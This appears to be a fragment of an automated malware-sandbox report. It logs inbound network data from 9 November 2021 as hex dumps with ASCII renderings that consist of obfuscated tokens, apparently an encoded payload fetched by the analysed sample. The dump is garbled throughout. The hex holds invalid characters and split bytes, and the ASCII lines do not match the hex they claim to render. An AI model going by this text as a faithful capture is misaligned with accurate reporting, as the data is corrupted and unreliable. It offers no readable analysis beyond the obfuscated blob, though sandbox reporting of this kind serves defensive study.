2021-11-09 21:21:48 UTC 101 IN Data Raw: 20 4f 6f 4b 20 4f 4f 52 20 45 59 20 59 4b 20 45 6b 20 6b 51 20 4f 6b 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45
4f 20 4f 6b 4f 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 6b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 51 45 20 4f 52 51
20 59 4f 20 59 4b 20 6b 6f 20 51 51 20 4f 4f 45 20 6f 20 6f 45 6f 20 59 4f 20 4b 6b 20 59 6f 20 6f 52 20 74 6b 20 51 51 20
Af 4f 45 20 4f 6f 4b 20 4f 4f 52 20 51 45 20 4f 52 6b 20 59 4f 20 59 4b 20 6b 6f 20 51 78 20 4f 4f 20 4f 78 6b 20 4f 4f 6f 20
59 52 20 51 59 20 74 74 20 59 59 20 6b 4b 20 4f 6f 78 20 6f 52 20 6f 59 78 20 4f 4f 45 20 59 78 20 59 4b 20 6f 59 20 59 6b
20 52 51 20 4f 4f 6b 20 74 20 4f 4f 6b 20 4f 6f 74 20 59 78 20 52 4b 20 51 45 20 4f 52 4f 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20
4f 78 74 20 51 74 20 59 4b 20
Data Ascii: OoK OOR EY YK Ek kQ OkY OOK OOt OXE EO OkO Kk Yx Rx OoK OkK OOt OxQ OOk QE ORQ YO YK ko
QQ OOE o oEo YO Kk Yo oR tk QQ OOE OoK OOR QE ORk YO YK ko Qx OO Oxk OO0 YR QY tt YY kK Oox oR 0Yx
OOE Yx YK oY Yk RQ OOk t OOk Oot Yx RK QE ORO kY OOK OOY Oxt Qt YK
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kBytes
Timestamp transferred Direction Data

2021-11-09 21:21:48 UTC 105 IN Data Raw: 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20
51 4b 20 4f 78 51 20 4f 6f 45 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 45 6f 20 4f 74 51 20 4f 4f 74 20
4f 78 51 20 4f 4f 52 20 6f 52 20 74 20 59 78 20 59 4b 20 51 4b 20 4f 20 74 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 45 20
59 6b 20 45 78 20 4f 6f 74 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 20 74 59 20 4b 51 20 59 78 20 52 78 20 74 4f 20 4f 6f
45 20 4f 78 78 20 4f 78 78 20 45 4f 20 52 59 20 4b 51 20 59 78 20 52 78 20 74 4f 20 4f 6f 78 20 4f 78 78 20 4f 78 45 20 45
4f 20 74 78 20 4b 51 20 59 78 20 52 78 20 74 4f 20 4f 4f 52 20 51 4b 20 4f 59 20 51 74 20 59 6f 20 51 59 20 74 4f 20 59
59 20 6b 4b 20 4f 6f 78 20 4f 78 6f 20
Data Ascii: Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK OxQ OoE o0oK Ko Yx Kk YO OQ OEo OtQ OOt OxQ OOR oR t
Yx YK QK O tt OxQ OO0 YR EE Yk Ex Oot OOK OOt OXE E tY KQ Yx Rx tO OoE Oxx Oxx EO RY KQ Yx Rx tO Oox Oxx
OXE EO tx KQ Yx Rx tO OOR QK OY Qt Yo QY tO YY kK Oox Oxo

2021-11-09 21:21:48 UTC 109 IN Data Raw: 20 6f 4b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4b 45 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 78 20 59 4f 20 59 4b 20
6b 4b 20 4f 6f 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20
4f 78 51 20 4f 4f 6b 20 59 78 20 4b 6b 20 59 78 20 6f 6b 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 51 45 20 4f 4f 45 20 59 78 20
4b 6b 20 4b 51 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 45 20 6f 20 59 45 20 6b 4b
20 4b 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 51 51 20 4b 6b 20 59 78 20 45 51 20 45 51 20 6f 4f 45 20 4f 4f 74 20 4f 78 5
1 20 4f 6f 6f 20 59 52 20 6f 4b 20 4f 6b 78 20 59 59 20 6b 4b 20 4f 6f 78 20 51 45 20 52 51 20 4f 4f 6f 20 59 78 20 6f 74 20
74 52 20 6f 4f 20 6b 59 20 4f
Data Ascii: 0K YK kK OOK OKE OxQ OO0 Yx ox YO YK kK Oox OOt OxQ OO0 Yx Kk Yx YK kk OOK OOt OxQ OOk Yx
Kk Yx ok kY OOK OOt QE OOE Yx Kk KQ YK kK OOK Oot OxQ OO0 YO KE o YE kK KQ OOt OxQ OO0 QQ Kk Yx EQ
EQ 0OE OOt OxQ Ooo YR oK Okx YY kK Oox QE RQ OO0 Yx ot tR 00 kY O

2021-11-09 21:21:48 UTC 114 IN Data Raw: 4f 4f 6b 20 52 4b 20 59 59 20 4b 6b 20 4f 6f 59 20 59 4b 20 6b 4b 20 4f 4f 4b 20 45 6f 20 4f 78 51 20 4f 4f 6f 20
45 59 20 59 78 20 45 74 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 45 52 20 4b 74 20 4f 4f 78 20
4f 74 4f 20 52 74 20 6f 51 20 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 6b 20 59 6f 20 4b 6b 20 6f 4f 6b 20 6f 74 20 4f 78
51 20 59 6f 20 6f 45 4b 20 4b 59 20 59 74 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 20 4f
51 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b
20 51 4b 20 6f 51 20 6b 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6b 20 59 52 20 4b 6b 20 6b 6f 20 6f 59 6f 20 6f 6b 20 4f 6!
6f 20 4b 4f 20 4f 52 6b 20
Data Ascii: OOk RK YY Kk OoY YK kK OOK Eo OxQ OO0 EY Yx Et Okt OK OOK OOt Oxk kY ER Kt OOx OtO Rt 0Q Ok
OxQ 000 YR Yk Yo Kk 00k ot OxQ Yo oEK KY Yt OQO Oxk kk OOK OOR to ORx OQY Kk Yx Yx OoK RQ OOt OxQ
000 RY k Yx YK QK 0Q kx OxQ OO0 YR ok YR Kk ko oYo ok Ooo KO ORk

2021-11-09 21:21:48 UTC 118 IN Data Raw: 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 78 20 74 45 20 4f 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 45
20 4f51 20 4b 20 59 78 20 4b 6b 20 59 52 20 45 78 20 4f 51 51 20 4f 4f 59 20 4f 4f 74 20 4f 78 45 20 51 6f 20 59 74 20 59
78 20 74 45 20 4f 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 6f 20 59 78 20 4b 6b 20 59 52 20 59 6f 20 4b 74 20 59
45 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 74 52 20 52 6b 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 45 78 20 4f 78 6b 20 4f
4f 6f 20 59 52 20 6f 6b 20 59 74 20 59 6f 20 4b 74 20 59 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 52 52 20 59 78
20 59 4b 20 51 4b 20 4f 4f 6f 20 4f 4b 20 4b 78 20 4f 4f 6f 20 59 78 20 59 6f 20 74 52 20 52 52 20 6b 4b 20 4f 4f 4b 20 4f 6
f 74 20 52 51 20 6f 6f 74 20 59 4f
Data Ascii: OK OOt OxQ OO0 Yx Yx tE OOt kk OOK OOE OQ K Yx Kk YR Ex OQQ OOY OOt OxE Qo Yt Yx tE OOt kK
OOK OOE RQ o0 Yx Kk YR Yo Kt YE OOt OxQ OOR tR Rk Yx YK QK Qx oEx Oxk OO0 YR ok Yt Yo Kt YE OOt OxQ OOR
oR RR Yx YK QK OO0 OK Kx OO0 Yx Yo tR RR kK OOK Oot RQ oot YO

2021-11-09 21:21:48 UTC 122 IN Data Raw: 6f 6b 20 74 4b 20 4f 4f 6f 20 4f 4b 20 6f 59 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 6f 78 20 6b 52 20 4f 4f
45 20 6b 20 6f 59 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 4b 78 20 6b 52 20 51 20 6f 6f 59 20 4f 78 51 20 4f 4f 6f 20 59
4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 6f 6f 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b
74 20 6f 45 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 6f 45 4f 20 4f 4f 74 20 4f
78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20
59 78 20 4b 51 20 74 59 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 78 20 74 45 20 4f 52 4f 20
6b 4b 20 4f 4f 4b 20 4f 4f
Data Ascii: ok tk OO0 OK oYK OO0 Yx Yo oK ox kR OOE k 0YK OO0 Yx Yo oK Kx kR Q ooY OxQ OOo YK oR OR Yo kt
OY ooY OxQ OO0 YK oR KK Yo Kt 0EO OOt OxQ OOR oK Ok Kk YE KO 0EO OOt OxQ OOR oK KR Kk tt OQK OOK
OO0t OxY Qx OR Yx KQ tY OQK OOK OOt OxY Qx KK Yx tE ORO kk OOK OO

2021-11-09 21:21:48 UTC 126 IN Data Raw: 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 51 51 20 4f 4f 4b 20 74 4b 20 4f 74 59 20 51 59
